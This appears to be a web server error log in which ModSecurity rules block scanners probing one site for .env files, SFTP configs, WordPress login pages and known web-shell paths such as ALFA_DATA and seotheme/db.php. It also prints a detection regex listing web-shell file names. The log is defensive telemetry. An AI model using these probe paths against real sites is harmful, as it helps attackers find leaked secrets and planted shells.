[Tue Dec 09 01:44:23.564242 2025] [:error] [pid 17588:tid 17641] [client 13.60.24.15:40998] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env"] [unique_id "aTcOdzfolJgrovDIxbRpNQAAAJU"], referer: https://www.google.com/
[Tue Dec 09 01:44:24.148277 2025] [:error] [pid 17674:tid 17696] [client 13.60.24.15:41054] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env.save"] [unique_id "aTcOeAX-np7s8gMWL-pNtQAAABQ"], referer: https://www.google.com/
[Tue Dec 09 01:44:24.711680 2025] [:error] [pid 57134:tid 57198] [client 13.60.24.15:41112] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env.bak"] [unique_id "aTcOeFn7_Hlbg-DXKIsRnQAAAFg"], referer: https://www.google.com/
[Tue Dec 09 01:44:25.326212 2025] [:error] [pid 17589:tid 17652] [client 13.60.24.15:41188] [client 13.60.24.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/.env.old"] [unique_id "aTcOeY3u_N_j630LWcCQ4gAAAUU"], referer: https://www.google.com/
[Tue Dec 09 04:06:25.902273 2025] [proxy_fcgi:error] [pid 62124:tid 62149] [client 4.230.25.181:46152] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Dec 09 04:06:33.161466 2025] [:error] [pid 62124:tid 62132] [client 4.230.25.181:46152] [client 4.230.25.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.230.25.181, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aTcvyVraBX51GaCVVuUitwAAAMU"], referer: https://www.google.fr/
[Tue Dec 09 04:06:33.313499 2025] [:error] [pid 62124:tid 62151] [client 4.230.25.181:40694] [client 4.230.25.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.230.25.181, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/cgi-bin/wp-login.php"] [unique_id "aTcvyVraBX51GaCVVuUiuQAAANg"], referer: https://www.google.fr/
[Tue Dec 09 04:06:37.269962 2025] [:error] [pid 62124:tid 62151] [client 4.230.25.181:46152] [client 4.230.25.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aTcvzVraBX51GaCVVuUi4AAAANg"], referer: https://www.google.co.uk/
[Tue Dec 09 05:52:51.521720 2025] [:error] [pid 62040:tid 62073] [client 44.251.239.249:55050] [client 44.251.239.249] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTdIs_kSVjwLGqZL-9JmDwAAAEM"]
[Tue Dec 09 09:25:15.720185 2025] [:error] [pid 62040:tid 62084] [client 45.86.202.103:37657] [client 45.86.202.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aTd6e_kSVjwLGqZL-9KQdwAAAE4"]
[Tue Dec 09 09:25:16.390880 2025] [:error] [pid 6097:tid 6108] [client 45.86.202.137:40101] [client 45.86.202.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aTd6fOY9nDD1R9gHO2TUygAAAck"]
[Tue Dec 09 09:25:17.063239 2025] [:error] [pid 34783:tid 34802] [client 45.86.202.148:59085] [client 45.86.202.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aTd6fa17odLapL7SFcxkwwAAAVE"]
[Tue Dec 09 09:25:17.732237 2025] [:error] [pid 62041:tid 62112] [client 45.86.202.154:31573] [client 45.86.202.154] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aTd6ffOmnJGvfaNPxPOBVQAAAI8"]
[Tue Dec 09 11:21:01.386639 2025] [:error] [pid 62040:tid 62080] [client 45.138.16.233:60758] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/postnews.php"] [unique_id "aTeVnfkSVjwLGqZL-9KmkwAAAEo"]
[Tue Dec 09 11:21:01.990046 2025] [:error] [pid 62124:tid 62151] [client 45.138.16.233:60933] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aTeVnVraBX51GaCVVuWLPQAAANg"]
[Tue Dec 09 11:21:02.586224 2025] [:error] [pid 62039:tid 62050] [client 45.138.16.233:61123] [client 45.138.16.233] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aTeVnq-WdjFepfLrlW70ZwAAAAc"]
[Tue Dec 09 13:55:59.875716 2025] [:error] [pid 12069:tid 12077] [client 43.153.204.189:50166] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTe572wNDNgPF6LHYDTJBwAAAEY"]
[Tue Dec 09 14:46:13.791027 2025] [:error] [pid 7325:tid 7359] [client 103.77.106.81:49923] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aTfFtQqEQlZnpyQAsW1WVAAAAYM"]
[Tue Dec 09 14:46:17.323274 2025] [:error] [pid 59388:tid 59410] [client 103.77.106.81:64080] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aTfFud7acjYK4IXwCBWc3wAAAJQ"]
[Tue Dec 09 14:51:18.734585 2025] [:error] [pid 7287:tid 7301] [client 45.138.16.233:61061] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG5v3UQf3HGDaVS5P7cAAAAAw"], referer: www.google.com
[Tue Dec 09 14:51:18.735084 2025] [:error] [pid 7287:tid 7310] [client 45.138.16.233:61804] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG5v3UQf3HGDaVS5P7cQAAABU"], referer: www.google.com
[Tue Dec 09 14:51:18.736345 2025] [:error] [pid 12069:tid 12081] [client 45.138.16.233:61760] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "aTfG5mwNDNgPF6LHYDTaIAAAAEo"], referer: www.google.com
[Tue Dec 09 14:51:18.736810 2025] [:error] [pid 7382:tid 7412] [client 45.138.16.233:62428] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTfG5idEXhamGkzwq-gvkgAAAdI"]
[Tue Dec 09 14:51:19.329221 2025] [:error] [pid 7382:tid 7416] [client 45.138.16.233:64176] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG5ydEXhamGkzwq-gvlQAAAdY"], referer: www.google.com
[Tue Dec 09 14:51:19.335508 2025] [:error] [pid 7382:tid 7399] [client 45.138.16.233:64177] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG5ydEXhamGkzwq-gvlgAAAcU"], referer: www.google.com
[Tue Dec 09 14:51:19.337012 2025] [:error] [pid 7287:tid 7289] [client 45.138.16.233:64192] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTfG5_3UQf3HGDaVS5P7cwAAAAA"]
[Tue Dec 09 14:51:19.341118 2025] [:error] [pid 7325:tid 7366] [client 45.138.16.233:64187] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "aTfG5wqEQlZnpyQAsW1YLgAAAYo"], referer: www.google.com
[Tue Dec 09 14:51:19.641620 2025] [:error] [pid 7287:tid 7302] [client 45.138.16.233:61146] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG5_3UQf3HGDaVS5P7dgAAAA0"], referer: www.google.com
[Tue Dec 09 14:51:19.940103 2025] [:error] [pid 7287:tid 7290] [client 45.138.16.233:58332] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG5_3UQf3HGDaVS5P7eQAAAAE"], referer: www.google.com
[Tue Dec 09 14:51:19.940131 2025] [:error] [pid 7382:tid 7417] [client 45.138.16.233:58337] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTfG5ydEXhamGkzwq-gvmgAAAdc"]
[Tue Dec 09 14:51:19.949229 2025] [:error] [pid 7382:tid 7411] [client 45.138.16.233:58339] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "aTfG5ydEXhamGkzwq-gvmwAAAdE"], referer: www.google.com
[Tue Dec 09 14:51:20.243428 2025] [:error] [pid 7382:tid 7415] [client 45.138.16.233:61762] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG6CdEXhamGkzwq-gvnAAAAdU"], referer: www.google.com
[Tue Dec 09 14:51:20.534692 2025] [:error] [pid 59388:tid 59410] [client 45.138.16.233:61148] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG6N7acjYK4IXwCBWfXAAAAJQ"], referer: www.google.com
[Tue Dec 09 14:51:20.542002 2025] [:error] [pid 7287:tid 7313] [client 45.138.16.233:63889] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTfG6P3UQf3HGDaVS5P7fAAAABg"]
[Tue Dec 09 14:51:20.548096 2025] [:error] [pid 12069:tid 12071] [client 45.138.16.233:61059] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "aTfG6GwNDNgPF6LHYDTaIQAAAEA"], referer: www.google.com
[Tue Dec 09 14:51:20.837202 2025] [:error] [pid 7325:tid 7370] [client 45.138.16.233:50265] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG6AqEQlZnpyQAsW1YMQAAAY4"], referer: www.google.com
[Tue Dec 09 14:51:21.134144 2025] [:error] [pid 7325:tid 7373] [client 45.138.16.233:64196] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG6QqEQlZnpyQAsW1YMgAAAZE"], referer: www.google.com
[Tue Dec 09 14:51:21.136629 2025] [:error] [pid 59388:tid 59407] [client 45.138.16.233:50531] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG6d7acjYK4IXwCBWfXwAAAJE"], referer: www.google.com
[Tue Dec 09 14:51:21.158108 2025] [:error] [pid 7325:tid 7369] [client 45.138.16.233:50536] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-plain.php"] [unique_id "aTfG6QqEQlZnpyQAsW1YMwAAAY0"], referer: www.google.com
[Tue Dec 09 14:51:21.158108 2025] [:error] [pid 7382:tid 7404] [client 45.138.16.233:50533] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTfG6SdEXhamGkzwq-gvngAAAco"]
[Tue Dec 09 14:51:22.340838 2025] [:error] [pid 7287:tid 7308] [client 45.138.16.233:60425] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG6v3UQf3HGDaVS5P7fwAAABM"], referer: www.google.com
[Tue Dec 09 14:51:22.340842 2025] [:error] [pid 7324:tid 7340] [client 45.138.16.233:60410] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG6uf70zXc9zH4rTLSLQAAAUs"], referer: www.google.com
[Tue Dec 09 14:51:23.534332 2025] [:error] [pid 7382:tid 7402] [client 45.138.16.233:51319] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG6ydEXhamGkzwq-gvogAAAcg"], referer: www.google.com
[Tue Dec 09 14:51:23.544464 2025] [:error] [pid 7287:tid 7291] [client 45.138.16.233:51112] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG6_3UQf3HGDaVS5P7hgAAAAI"], referer: www.google.com
[Tue Dec 09 14:51:24.746522 2025] [:error] [pid 12069:tid 12077] [client 45.138.16.233:60512] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG7GwNDNgPF6LHYDTaJgAAAEY"], referer: www.google.com
[Tue Dec 09 14:51:24.753482 2025] [:error] [pid 59388:tid 59391] [client 45.138.16.233:60410] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG7N7acjYK4IXwCBWfYwAAAIE"], referer: www.google.com
[Tue Dec 09 14:51:25.963897 2025] [:error] [pid 7324:tid 7352] [client 45.138.16.233:62161] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfG7ef70zXc9zH4rTLSNQAAAVc"], referer: www.google.com
[Tue Dec 09 14:51:25.966375 2025] [:error] [pid 59388:tid 59403] [client 45.138.16.233:62158] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG7d7acjYK4IXwCBWfaAAAAI0"], referer: www.google.com
[Tue Dec 09 14:51:27.198694 2025] [:error] [pid 7287:tid 7304] [client 45.138.16.233:62804] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfG7_3UQf3HGDaVS5P7jwAAAA8"], referer: www.google.com
[Tue Dec 09 15:04:36.069387 2025] [:error] [pid 59388:tid 59413] [client 103.77.106.81:53331] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aTfKBN7acjYK4IXwCBWpyQAAAJc"]
[Tue Dec 09 15:04:38.981066 2025] [:error] [pid 7325:tid 7372] [client 103.77.106.81:62034] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aTfKBgqEQlZnpyQAsW1eOwAAAZA"]
[Tue Dec 09 19:53:49.489016 2025] [:error] [pid 36456:tid 36458] [client 35.192.77.233:61173] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTgNzR0pAnOyfXl_v40dZAAAAIA"]
[Tue Dec 09 19:53:49.912893 2025] [:error] [pid 30498:tid 30511] [client 35.192.77.233:60758] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTgNzR2mcZJQ5qP_RC0m5QAAAAk"]
